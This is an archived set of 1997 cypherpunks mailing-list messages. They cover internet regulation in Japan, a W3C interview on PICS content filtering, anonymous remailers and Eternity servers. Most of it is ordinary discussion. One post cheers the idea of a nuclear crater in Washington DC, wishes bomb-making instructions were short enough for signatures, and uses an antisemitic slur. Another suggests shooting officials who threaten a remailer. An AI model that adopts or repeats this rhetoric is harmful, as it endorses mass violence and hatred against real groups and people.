  13. http://www.computerworld.com/news/index.html
  14. http://www.computerworld.com/realaudio/index.html
  15. http://cwlive.cw.com:8080/home/search.nsf/FtFieldSearch?OpenForm
  16. http://www.computerworld.com/help/index.html
  17. http://www.computerworld.com/techcity/index.html
  18. http://ads01.focalink.com/SmartBanner/page/9.1.4.1-436
  19. http://cwlive.cw.com:8080/home/print9497.nsf/All/home/copyright.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 19 Aug 1997 08:48:11 +0800
To: cypherpunks@Algebra.COM
Subject: 230_081897_112201_31203.html
Message-ID: <199708190054.UAA14676@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




                                 [1][ISMAP]
                                      
                                 [2][LINK]
                                      
               [3]Click here for Microsoft Intranet Solutions
                                      
                        [4]Content For Your Intranet
                                      
        [5]Click here for Microsoft Internet Explorer 4.0 Preview 2
                                      
         Commentary: In Japan, Moves to Regulate the Net [6][LINK]
                                 [7][LINK]
                              By TOMOKO SAITO
                         c.1997 Asahi News Service
                                      
     T he following commentary appears in Asahi Shimbun, one of Japan's
                            leading newspapers:
                                      
                                   -----
                                      
      Abusive uses of the Internet, such as the illegal posting of the
       photograph and name of a juvenile suspect in recent Kobe child
    killings, have spurred government officials to consider bringing the
                     Net under some kind of regulation.
                                      
    Violations of privacy and libel cases began increasing conspicuously
   last year, giving rise to calls for the companies that provide access
                to the Internet to adopt voluntary controls.
                                      
   In February last year, a Tokyo company employee who opened a home page
   with a Japanese provider was arrested by the Tokyo Metropolitan Police
      Department on charges of displaying obscene images. A series of
                        arrests was made elsewhere.
                                      
      This spring, advisory bodies to the Posts and Telecommunications
       Ministry and the Ministry of International Trade and Industry
                  recommended that some rules be drafted.
                                      
    The Telecom Services Association of Japan, a trade body having about
      400 providers as members, drew up draft guidelines for voluntary
      regulation. The guidelines call for providers to take action for
             improvement in response to complaints from users.
                                      
          Some providers have drafted manuals for self-regulation.
                                      
   The circulation of the Kobe student's photograph and his real name on
     the Net had a particularly strong impact, prompting authorities to
            think that voluntary regulations may be inadequate.
                                      
   But official regulation could deprive the Internet of its good points.
     The best thing about the Net is that it enables people to exchange
          information freely. That is why it has grown so rapidly.
                                      
   There are areas where new systems are needed to protect users, such as
      electronic financial transactions. But in areas relating to the
   freedom of expression, a cautious approach is required in dealing with
    abuses, so that the good points of the Internet will not suffer from
                                regulation.
                                      
    What is unique about the Net is that anyone, in addition to being a
      recipient of information through the system, can easily become a
    supplier of information. That becomes possible for anyone who owns a
       personal computer, a communications modem and has access to a
    telephone circuit. A contract signed with a provider enables him or
                 her to open a home page on the Net freely.
                                      
    Popular home pages have thousands of accesses a day, which gives an
             individual the influence of a publishing company.
                                      
   The Internet has the potential of transforming contemporary society in
       which those who send out information - such as newspapers and
   television stations - are separate from those who receive it - such as
                             people in general.
                                      
   In Europe, calls to bring the Net under control started to mount last
     year. In Germany, a so-called multimedia law was passed in July to
      stipulate the scope of providers' responsibility in dealing with
     troubles, such as human rights violations and libel cases. The law
    requires providers to appoint officials to handle complaints or give
    advice on the impact on juveniles of violent and obscene information
                                on the Net.
                                      
   Also in July, a working group set up by the Organization for Economic
       Cooperation and Development held its first meeting to discuss
    international cooperation to bring the Net under control. France and
        Belgium were particularly vocal in calling for such a group.
                                      
   Compared with the Europeans, the Americans are more inclined to leave
        the matter of regulation to private initiatives. The Clinton
   administration's proposal to regulate indecent images on the Net under
   the telecommunications act ran into objections on the grounds that it
    could infringe on the freedom of expression. The Supreme Court ruled
              in June that the proposal was unconstitutional.
                                      
    In Japan, the constitutional guarantee of the freedom of expression
       naturally extends to individuals who supply information on the
   Internet. It follows that any kind of censorship about Net information
    should not be tolerated. Whether a certain expression is appropriate
    or not should be left up to people to determine in the ''freedom of
                             thought'' market.
                                      
     Any attempt to force informal controls on providers should also be
   resisted, given the important role played by them as media in addition
                     to being ''communications'' firms.
                                      
   As for the question of controlling obscene images, efforts to dissolve
    the gaps that have developed between the law and reality should come
     first. Porn books that are brought back from abroad are seized by
     customs officers, and a Japanese who opens a home page that shows
       nudes can be punished. But it is easy to access a more radical
    American home page, and no legal punishment awaits those who look at
                   the images such a home page provides.
                                      
   The punitive provisions should be reexamined to determine whether they
     are really needed if people who do not want to see pornography are
                      assured that they can avoid it.
                                      
   Of course, young people must be protected. A system that blocks access
   to porn and violence on the Net, when mounted in personal computers at
     home or at school, is being introduced in Western countries. Japan
   should consider following their example, but I believe whether or not
   to use it should be left up to the judgment of each household that has
                                acquired it.
                                      
     ``Let us wait for the new media to mature by thoroughly educating
    information suppliers on their responsibility,'' said Jiro Makino, a
       lawyer familiar with Net troubles. What he has in mind is that
   suppliers who operate on the basis of the freedom of expression should
    have a high ethical standard and be prepared to take responsibility
                   for the consequences of their actions.
                                      
      I believe that is what it takes to head off state interference.
                                      
                                   -----
                                      
    (The author is a reporter for Asahi Shimbun's City News Department.)
                                      
                           NYT-08-18-97 1104EDT<
                                      
                            [8][LINK] [9][LINK]
                                      
    [10]More News | [11]Keyword Search | [12]Hot Topics | [13]Discussion
                     Groups | [14]Bill Gates | [15]Home

References

   1. http://nytsyn.com/cgi-bin/imagemap/cndnews
   2. http://nytsyn.com/cgi-bin/link/link_beyond1?url=http://www.beyondcomputingmag.com/current/inprint.html
   3. http://nytsyn.com/cgi-bin/link/link_sb6i1a?url=http://www.microsoft.com/backoffice/promo/intraneti/
   4. http://nytsyn.com/cgi-bin/link/link_interactive?url=http://nytsyn.com/content
   5. http://nytsyn.com/cgi-bin/link/link_exclusive?url=http://www.microsoft.com/ie/partners/?/ie/partners/prevuser.asp
   6. http://nytsyn.com/live/Latest/230_081897_112208_31244.html
   7. http://nytsyn.com/live/Latest/230_081897_110009_25840.html
   8. http://nytsyn.com/live/Latest/230_081897_112208_31244.html
   9. http://nytsyn.com/live/Latest/230_081897_110009_25840.html
  10. http://nytsyn.com/live/Latest_columns
  11. http://nytsyn.com/live/cndkey.html
  12. http://nytsyn.com/live/cndtopics.html
  13. http://nytsyn.com/live/cnddiscuss.html
  14. http://nytsyn.com/live/Gates2
  15. http://nytsyn.com/live/Latest





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 19 Aug 1997 09:35:56 +0800
To: cypherpunks@toad.com
Subject: Re: None
In-Reply-To: <UmrT+kQAcfXB9+ro90BP2w==@JawJaCrakR>
Message-ID: <23sNBe14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

...
> It would be a day to celebrate loudly if someone put a crater in DC.

I'd love for this to happen!  I wish someone would condense the instructions
for making nukes in one's garage into 4-6 lines suitable for .sigs.

But I suspect that the Zionist entity will get nuked before Washington DC.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 19 Aug 1997 22:40:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.3.32.19970818193205.007f61c0@mail.io.com>
Message-ID: <3.0.2.32.19970818211433.00694684@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



Is there any Eudora plug-in that allows anyone using Eudora to operate a
remailer?  I would think that if anyone with Eudora and an email account
can chain remail PGP encrypted messages for others a la mixmaster, etc. it
would be much harder to shut down 40,000 remailers tham 40.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html
Commercial version of PGP 5.0 and related products at http://www.pgp.com
Eudora + PGP = Free, Convenient Communication Privacy

Go postal! Write your mommy a letter!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 19 Aug 1997 03:37:04 +0800
To: cypherpunks@toad.com
Subject: Alex le Heux
Message-ID: <199708181919.VAA19973@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym
 "Alex le Heux <alexlh@xs4all.nl>" typed:
>



Hey HEY!  It's the man who nearly managed to single-handedly 
derail the PGP legal export hack by playing the block rocking 
beats (all vinyl) which inspired the vacationing hackers to 
spill the drinks on the source books.


But in his defense, he also nurtured the cpunks network in 
between sets.


Welcome to the list!


Zooko the Mysterieux

P.S.  MP3 is coooool.  CDNow.com needs to start selling MP3's 
in return for digital cash small change!

P.P.S.  No really-- I'm _not_ a cypherpunk, because cypherpunks 
appear to be overwhelmed with blind, self-destructive 
bloodlust since 1996 or so.  I'm just here to try talking some
sense into the salvageable ones.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 20 Aug 1997 00:49:05 +0800
To: cypherpunks@cyberpass.net
Subject: W3C on PICS
Message-ID: <199708191642.JAA00543@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain





http://www.collegehill.com/ilp-news/reagle.html


f r o n t  p a g e  |  a b o u t  |  b a c k  i s s u e s  |  s u b s c r i
b e  |  a d v e r t i s e

 The ILPN discusses PICS with Joseph Reagle of the W3
 Consortium

 August 18th 1997

 Joseph Reagle Jr. joined the World Wide Web Consortium
 (W3C) in October of 1996 to focus on policy issues
 related to the development of global technologies and
 their relationship to social and legal structures.
 Specifically, how to promote "good" engineering when
 applied to a multifaceted and often contentious policy
 environment; one result of this activity is the W3C
 Statement on Policy. Mr. Reagle has also been working
 on filtering, digital signature, intellectual property
 rights management, and privacy capabilities on the Web.
 He has also been an active contributor to the
 development of the Platform for Privacy Preferences
 (P3) project at the W3C. P3 will enable computer users
 to be informed and to control the collection, use and
 disclosure of their personal information on the Web.ÿ

 ILPN: How does PICS work?

 The Platform for Internet Content Selection (PICS) is
 an infrastructure for associating labels (metadata)
 with Internet resources. It was originally designed to
 help parents and teachers control what children access
 on the Internet, but it also facilitates other uses for
 labels, including code signing, privacy, agents, and
 intellectual property rights management.

 PICS allows organizations to easily define content
 rating systems, and enable users to selectively block
 (or seek) information. The standard is not a rating
 system (like MPAA or RSACi), but an encoding method for
 the ratings of those systems. Those encoded ratings can
 then be distributed with documents, or through third
 party label bureaus.

 ILPN: Can you summarize
 the origin of PICS as well
 as the coalition behind       [Related Links]
 its development? What role
 is W3C playing in the           The World Wide Web
 ongoing development and       Consortium PICS Site
 promotion of PICS?
                                 Family Friendly
 During 1995, a number of
 activities occurred that      Internet...The White
 were related to concerns      House Internet Content
 of children accessing         Filtering Plan.
 potentially inappropriate
 Web content:                    Australian
                               Anti-PICS Site
   1. The Senate Judiciary
      Committee heard            Ratings Now,
      testimony regarding
      the "Protection of       Censorship
      Children From            Tomorrow...from SALON
      Computer Pornography
      Act of 1995" (S. 892)      ACLU Press Release
   2. The Information          on the July White
      Highway Parental         House Summit
      Empowerment Group
      (IHPEG), a coalition       Foucault in
      of three companies
      (Microsoft               Cyberspace:
      Corporation, Netscape    Surveillance,
      Communications, and      Sovereignty and
      Progressive              Hard-Wired Censors ...
      Networks), was formed    an absolute must read
      to develop standards     article from James
      for empowering           Boyle, a law professor
      parents to screen        at WashingtonÿCollege
      inappropriate network    of Law,
      content.                 AmericanÿUniversity.
   3. A number of standards
      for content labeling were proposed including
      Borenstein's and New's Internet Draft "KidCode"
      (June 1995), the Voluntary Internet Self Rating by
      Alex Stewart and NetRate by Peter Wayner.
   4. A number of services and products for blocking
      inappropriate content were announced, including
      Cyber Patrol, CyberSitter, Internet Filter,
      NetNanny, SafeSurf, SurfWatch, and WebTrack.

 By August, the standards activity was consolidated
 under the auspices of the World Wide Web Consortium
 (W3C) when the W3C, IHPEG, and twenty other
 organizations agreed to merge their efforts and
 resources to develop a standard for content selection.
 The intent of the PICS project was to demonstrate that
 it was possible and better for individuals and families
 on the Internet to have control over the the
 information they receive, rather than creating a
 national framework for censorship.

 Today, the W3C believes PICS-based technology can
 fulfill the requirements of mediating access
 potentially offensive or illegal content. The next big
 step is educating the users on how to use those
 technologies. For the future, we are working on the
 Resource Description Framework as the basis for a
 richer metadata infrastructure. Applications such as
 our P3 privacy project will use it to enable sites to
 make privacy statements.

 ILPN: Can you describe the difference between
 'labeling' 'filtering' and 'blocking,' and why this set
 of distinctions might be important?

 Paul Resnick's PICS Options FAQ has a very good answer
 to this question and some of the others that you ask.
 To summarize, labels are statements. They have the
 capability to describe a Web page, or to make any
 arbitrary assertion. Obviously, people can use such
 information to block, or select what they want to see.
 To generalize, one can use metadata to "rate" a Web
 page with respect to some rating system. Given ratings,
 a user applies a filter (her preferences about the
 ratings) to determine which pages are most appropriate;
 some action is associated with the result of the
 filtering. The common result is the blocking or
 selection of a page, but the user could also be
 presented with a list of sites sorted according to her
 preferences.

 ILPN: What do you make of the opposition by EFF, the
 American Library Association and the Electronic Privacy
 Information Center to PICS? Do you see PICS as a
 bulwark of free speech, or simply as the lesser of two
 evils (the other being government regulation)?

 I would characterize the response from each of those
 organizations differently, and of course my response is
 based on my own understanding of that position:ÿ

   1. The ALA does not oppose PICS or filtering in
      general. I believe they acknowledge its usefulness
      as a means of parental empowerment, but do not
      feel it is appropriate for installation on every
      computer by default in their libraries. I respect
      this point of view while acknowledging that
      libraries may have requirements placed upon them
      by their constituencies or by the law with respect
      to illegal materials; it is up to the libraries,
      their constituencies, and governments to
      appropriately resolve these concerns.
   2. I personally like the direction the EFF took in
      working on "Public Interest Principles for Online
      Filtration, Ratings and Labelling Systems" and
      hope to see such efforts continue. The W3C feels
      that metadata is necessary to the Web. Hence, I
      think it is somewhat naive to criticize the
      capability to support metadata. While I do not
      agree with every position in the EFF document, I
      liked it because I think it is more constructive
      to discuss how that metadata infrastructure can be
      best used (or how to prevent abuse) rather than
      trying to hobble the Web.
   3. I, and my colleagues at the W3C, encourage
      rigorous discussion on the use of filtering
      technologies and how they affect individuals'
      rights. I do not buy the slippery slope argument
      that all technology which governments could use to
      do "bad things" must not be developed.

 I do not see PICS in grand terms; PICS is an
 application of metadata, as I explain elsewhere. To
 respond to the later question I do prefer the
 capability to exclude unwanted speech over the
 suppression of it at its source. Also, metadata itself
 is speech -- having the capability to laud, critique
 and criticize others is fundamental to a robust
 society.

 ILPN: How likely is it that PICS-based software will be
 mandated by governments at the level of ISPs?

 Unknown. Also, governments could theoretically do a
 number of things such as :

    * create rating systems
    * determine filtering criteria
    * require the use of filtering technology in servers
      or in clients
    * require the use of certain rating systems, etc.

 They can accomplish this by legislative action, by
 interpreting existing statutes, by promoting
 self-regulatory structures, or by providing incentives
 to comply with the policies by attaching liability, or
 removing it, to the players involved. Even with a
 specific question in hand, it would be a difficult task
 to predict the path of any nation.

 ILPN: Are you concerned with the potential abuse of
 PICS by governments and/or employers?

 Yes. I personally would protest or subvert my
 employer's or government's efforts in applying
 mandatory filters against my will; I do use filters to
 select content I am interested in and to get rid of
 spam and bozos. Regardless of my personal opinion, the
 W3C does not have the competency to tell other
 organizations what their policies should be. We can
 tell them about the technology and consequences of its
 use, but what they do with it is their choice
 obviously.

 ILPN: What about the possibility that a third-party
 labeling organization will obtain too much power?

 In terms of an independent third party? Let the market
 decide. If there are monopolistic concerns, a nation
 may wish to apply anti-trust laws. If it is a political
 entity, I hope it has some mechanism for being held
 accountable to its constituency.

 ILPN: We tend to think of PICS in terms of excluding
 materials deemed offensive. What are more 'positive'
 possible applications of PICS?

 PICS is merely one application of "metadata." Metadata
 means "data about data" and we are working very hard on
 this with our Resource Description Framework (RDF).
 This is a fundamental computer science concept and is
 essential to the future of the Web. Any time you wish
 to make a statement or an assertion, to rely upon a
 trusted opinion, it is "metadata." Our Platform for
 Privacy Preferences (P3) is another application of
 metadata. We wish to enable sites to make statements
 about their privacy practices so users are informed and
 can make choices about how they wish to interact with
 sites. A useful feature of metadata is that it is can
 be machine readable, so agents can act on behalf of the
 user, freeing the user to concentrate on higher order
 content and interactions. Hence, when I configure my
 agent, I should be able to search Web sites with the
 type of content I like, those which have privacy
 practices that I like, or that are referred to me by
 trusted third parties, and those that support the
 payment capabilities that I posses.

 ILPN: PICS seems to transform the web from an arena in
 which anything goes, and in which each individual must
 define his or her own participation, to an arena in
 which various 'cultures' can establish their own,
 separately designed comfort zones. Was this an
 intention of the PICS developers, or is it simply an
 unintended consequence of an effort to protect
 children?

 I donût know if this was an original, explicit
 intention of PICS, but it soon became apparent that
 this is what PICS was about: allowing people to create
 their own cultural boundaries on the Web. I look at a
 lot of what we do at the W3C as not only providing the
 basic infrastructure for exchanging hyperlinked
 documents, but we are providing the capability to have
 more sophisticated interactions with other users and
 agents on the Web -- homegrown cultures and societies.
 "Real world" entities may see these tools as ways of
 extending their own social structure onto the Web, and
 this is actually what a lot of the PICS debate is about
 in my opinion. We'll see how successful governments can
 be.

 In the meantime, the W3C does want to mitigate the
 possible fragmentation on the Web from either: 1)
 people dropping off it all together and creating their
 own, or 2) tearing it apart from fighting over whose
 cultural norms should prevail. I'll quote from the W3C
 Policy Statement on this point:

      ...This architecture must allow local
      policies to co-exist without cultural
      fragmentation or domination...

      http://www.w3.org/Policy/statement.html

 ILPN: Is W3C promoting the development of PICS into
 proxy server products?

 Yes. The PICS Options FAQ states that filter processing
 can be centralized at a proxy server while still
 permitting individuals to choose the filtering rules. I
 will qualify this by saying that it has never been the
 intent of the W3C to create technology for governments
 to use as a means of centralized control. Not that
 governments couldn't do such a thing (and there are
 other ways for them to do it if they wanted to), but
 that isn't our intent in working on this technology.

 ILPN:. What kind of legislation, and court cases, do
 you expect to see in the future regarding PICS?

 I expect to see continued activity in:

   1. drawing the line between "illegal" and
      "inappropriate" content
   2. determining what obligations services have in
      restricting illegal material
   3. developing self regulatory structures for limiting
      childrens' access to "inappropriate" materialÿ
      (promoting a "family friendly internet.")

 ILPN: What should people maintaining web sites be doing
 regarding PICS and the various rating systems? Should
 people be rating their sites now? What might the
 consequences be for neglecting to rate one's site? Is
 it important for people to keep track of how their web
 sites are rated, and if so, how can they do this?

 Technologies, such as Microsystems Software's
 CyberLabeler, are being developed which follow the
 recommendations of the PICS specifications and make
 labeling sites much easier. Content creators that want
 to label should continue to demand such technologies
 and that such technologies be integrated into Web
 development applications. I expect that in the near
 future, many sites will be generated dynamically from
 databases; those databases will be indexed and
 structured by metadata. At which point, labels and
 rating will be integral to the creation of dynamic,
 customized sites. Search engines may also begin relying
 upon the useful information found in metadata to return
 more appropriate -- on "target" -- information to
 users.

 The consequence of not rating your site might be that
 if you have potentially illegal or offensive material
 you may draw regulatory attention upon yourself. Also,
 by not labeling you may be overlooked by those using
 filtering and content selection technologies. Most
 adult sites are more than happy to label and use
 filtering services, they want to attract those looking
 for the services they offerÿ while avoiding the
 difficulties associated with angry parents.

 ILPN:Thank you for your time.

 My pleasure.

Send us your comments on this article

Copyright 1997. All Rights Reserved

f r o n t  p a g e  |  a b o u t  |  b a c k  i s s u e s  |  s u b s c r i
b e  |  a d v e r t i s e





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 19 Aug 1997 13:01:46 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunks as a Poetic Terrorist Organization
In-Reply-To: <199708181919.VAA19973@xs2.xs4all.nl>
Message-ID: <3.0.2.32.19970818214553.03051708@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The paper today said something about a rash of "Poetic Terrorism"
going on in New Orleans.  Boxes of random poetry manifestoes showing
up around town, stuff tacked to billboards, toasters and other unexplained
objects in artistically arranged spaces, demands for official poetry-readings
by the police department.  A couple of suspects. 

Somebody's been reading Hakim Bey again....
	http://www.unicorn.com//lib/taz.html

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 19 Aug 1997 12:56:28 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May in the news
In-Reply-To: <v03102800b01eb9677bb3@[207.167.93.63]>
Message-ID: <v03102800b01ed5894894@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:35 PM -0700 8/18/97, Brad Dolan wrote:
>CBS must be going for the propaganda suck-up award this year.
>
>Following tonight's "Chicago Hope," which dumped an immense wad of
>socialist propaganda on us ("Health care is a right!"  "No one should ever
>profit off a sick child."), the local news ran a CBS-produced feature
>about the internet.  First half showed how cute bunny-rabbit cartoons
>can educate your little hothouse genius.  Second half then explained how
>there are {gasp} dirty *sex* sites out there that junior could
>accidentally stumble across.  Obviously, something *must* be done.
>
>Feature included a representative teen who manfully resists the temptation
>to look at the feelthy pictures, 16-year-old Tim May of California.
>
>I'm not making this up.
>
>I wonder if it's an accident or a deliberate middle-finger from the
>propagandists?

They finally aired that interview? I did that a couple of years ago.

I got my first Internet account when I was 12, about a year before I got
started in the Cypherpunks group.

But I'm 18 now, and fully authorized by the State to look at dirty
pictures, on or off the Net.

--Tim, yes, _that_ one.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 19 Aug 1997 13:10:42 +0800
To: "Robert A. Costner" <cypherpunks@cyberpass.net
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.3.32.19970818193205.007f61c0@mail.io.com>
Message-ID: <v03102801b01ed8e111c0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:44 PM -0700 8/18/97, Robert A. Costner wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I'd appreciate some EMAIL comments on what anonymous remailers are used for,
>in particular the remailer at anon.efga.org.
>
>The "Georgia Cracker" remailer, like any remailer, has had several people
>complain about it's existence.  While I've received various emails telling me
>the remailer is a bad thing, including veiled legal threats, I've yet to see
>even one note that tells why it is a good thing.  I'd appreciate some
>comments on why the system should be maintained.

You made a lot of hay about setting it up, if I recall correctly. If you
didn't know what remailers are, and what they protect, why did you set it
up?

More to the point, do you think anybody is now going to "break anonymity"
to tell you that anon.efga.org allowed them to notify the authorities that
their father was raping their baby sister? Or that it allowed Hamas
supporters to funnel technical information to drive the ZOG government out
of Jerusalem? Or whatever.

And if someone used a remailer to send you accounts of what anon.efga.org
was used for, would you trust these accounts?

Get a clue, man.

>There are two main reasons for this.  First, I need to explain to others at
>EFGA why this remailer is being maintained.  Secondly, I need to write an
>affidavit explaining why the remailer should not be shut down.  I'd really
>appreciate anyone who has used anon.efga.org EMAILing me with what purpose it
>serves.  Anonymous comments are of course very welcome.

An affidavit sounds like a legal statement. If you "need to write an
affidavit explaining why the remailer should not be shut down, " just who
is threatening to shut it down?

Tell them the anon.efga.org remailer is an important conduit for protecting
the secure communications of the Grand Wizards of the Ku Klux Klan, a
Georgia organization. If they balk, ask if the Klan does not have a right
of free speech and security in their papers and homes.

If they don't understand this, shoot them as enemies of the people.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 19 Aug 1997 12:12:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Cypherpunks as a Terrorist Organization (fwd)
Message-ID: <199708190406.XAA07590@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 18 Aug 1997 20:38:06 -0700
> From: Tim May <tcmay@got.net>
> Subject: Cypherpunks as a Terrorist Organization

> It's what the Founders expected.  Get used to it.
> 
> If crypto anonymity tools were available to the Founders, they'd have used
> them against the British.

Uh, it was called a printing press and the pseudonym was 'publius'...


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 19 Aug 1997 11:55:40 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymous Remailers
In-Reply-To: <3.0.3.32.19970818193205.007f61c0@mail.io.com>
Message-ID: <3.0.3.32.19970818234422.038013f4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'd appreciate some EMAIL comments on what anonymous remailers are used for, 
in particular the remailer at anon.efga.org.

The "Georgia Cracker" remailer, like any remailer, has had several people 
complain about it's existence.  While I've received various emails telling me 
the remailer is a bad thing, including veiled legal threats, I've yet to see 
even one note that tells why it is a good thing.  I'd appreciate some 
comments on why the system should be maintained.

There are two main reasons for this.  First, I need to explain to others at 
EFGA why this remailer is being maintained.  Secondly, I need to write an 
affidavit explaining why the remailer should not be shut down.  I'd really 
appreciate anyone who has used anon.efga.org EMAILing me with what purpose it 
serves.  Anonymous comments are of course very welcome.

Thanks,


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM/kWkkGpGhRXg5NZAQEV5wH/f/3WGKDWAJVjE8UeGojp3xE5IMNAstq4
lZJc+C9vAlF5knO5r5ODym8aecXF1+EsU+xta8809+BSGARTrDvAkw==
=VZW0
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 19 Aug 1997 08:02:03 +0800
To: alan@ctrl-alt-del.com
Subject: Re: New use for  Eternity Server
In-Reply-To: <Pine.LNX.3.95.970818140727.20920I-100000@www.ctrl-alt-del.com>
Message-ID: <199708182307.AAA00846@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Alan <alan@ctrl-alt-del.com> writes:
> > Or better yet, just compress the damn things with GZIP or ZIP, or
> > whatever, and have the servers handle them as binaries.  Would work better
> > in the long run anyway since it will waste less space.
> 
> This assumes that the user has support for those compression formats.  (I
> run into this too much with Solaris and Windows, for various reasons.)
> 
> > Can current eternity servers handle plain binaries?
> 
> And if they do, what encoding format do they support?  (Mime, Base-64,
> and/or uuencode.)

It should support pretty much anything.  Just treat eternity documents
like standard web documents...  Anything you can do in a web document
you can do in a web document stored in eternity.  (Except, eternity
doesn't host your cgi's for you :-)

If you want a .zip file, well link to it like this:

	pgp50i.zip 

if you want to reference it in an eternity document.  Submit the .zip
file the same way you would a .html file or .gif file.

(Eternity supports relative, site relative and absolute URLs).

You could also use the url for the zip file directly:

	http://pgp.eternity/pgp50i.zip

Or use lynx to download it:

	lynx -dump http://www.replay.com/aba/cgi-bin/eternity.cgi?url=http://pgp.eternity/pgp50i.zip > pgp50i.zip

Or whatever.

However pgp50i isn't censored outside the US, so why not just download
it from Stale's site in Norway?

(You could view the ITAR/EAR restrictions as censorship of those
wishing to publish pgp inside the US... but the simple solution is
jurisdiction shopping... anywhere but the US, Iraq, etc).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 19 Aug 1997 08:15:33 +0800
To: zooko@xs4all.nl
Subject: bloodlust or game-theory? (was Re: Alex le Heux)
In-Reply-To: <199708181919.VAA19973@xs2.xs4all.nl>
Message-ID: <199708182326.AAA00880@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman <zooko@xs4all.nl> writes:
> [...]
>
